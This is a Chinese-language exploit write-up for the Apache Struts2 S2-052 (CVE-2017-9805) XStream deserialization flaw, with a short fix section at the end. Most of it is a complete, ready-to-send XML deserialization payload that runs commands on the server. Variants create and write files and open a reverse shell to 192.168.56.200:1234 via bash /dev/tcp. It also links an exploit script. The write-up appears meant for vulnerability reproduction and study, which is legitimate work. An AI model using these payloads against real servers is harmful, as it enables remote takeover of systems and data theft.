漏洞名称

S2-052 CVE-2017-9805 远程代码执行

利用条件

Struts 2.1.6 - Struts 2.3.33

Struts 2.5 - Struts 2.5.12

漏洞原理

Struts2 REST插件的XStream组件存在反序列化漏洞，使用XStream组件对XML格式的数据包进行反序列化操作时，未对数据内容进行有效验证，存在安全隐患，可被远程攻击。

由于rest-plugin会根据URI扩展名或Content-Type来判断解析方法，所以我们只需要修改orders.xhtml为orders.xml或修改Content-Type头为application/xml，即可在Body中传递XML数据。

漏洞利用

命令执行

poc

注意一 替换 Content-Type头的内容字段为application/xml

注意二 增加xml字段内容

<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>touch</string>
<string>/tmp/test.txt</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next>foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer/>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
</entry>
<entry>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>

  <command><string>你要执行的代码</string></command> 

创建文件

<command>
<string>touch</string>
<string>/tmp/test.txt</string>
</command>

写入内容到文件

<string>bash</string>
<string>-c</string>
<string>echo xiaoxin > /tmp/test.txt</string>

反弹shell

<command>
<string>bash</string>
                <string>-c</string>
                <string>bash -i &gt;&amp; /dev/tcp/192.168.56.200/1234 0&gt;&amp;1</string>
</command>

工具反弹shell

https://github.com/Vancir/s2-052-reproducing

更改exploit.py中的url地址

修复建议

struts2.5.13中，按照xstream给出的缓解措施（ http://x-stream.github.io/security.html ），增加了反序列化时的白名单：

protected void addDefaultPermissions(ActionInvocation invocation, XStream stream) {
    stream.addPermission(new ExplicitTypePermission(new Class[]{invocation.getAction().getClass()}));
    if (invocation.getAction() instanceof ModelDriven) {
        stream.addPermission(new ExplicitTypePermission(new Class[]{((ModelDriven) invocation.getAction()).getModel().getClass()}));
    }
    stream.addPermission(NullPermission.NULL);
    stream.addPermission(PrimitiveTypePermission.PRIMITIVES);
    stream.addPermission(ArrayTypePermission.ARRAYS);
    stream.addPermission(CollectionTypePermission.COLLECTIONS);
    stream.addPermission(new ExplicitTypePermission(new Class[]{Date.class}));
}

但此时可能会影响以前代码的业务逻辑，所以谨慎升级，也没有特别好的办法，就是逐一排除老代码，去掉不在白名单中的类。

参考文章

https://github.com/Vancir/s2-052-reproducing

https://blog.csdn.net/weixin_41082546/article/details/102212059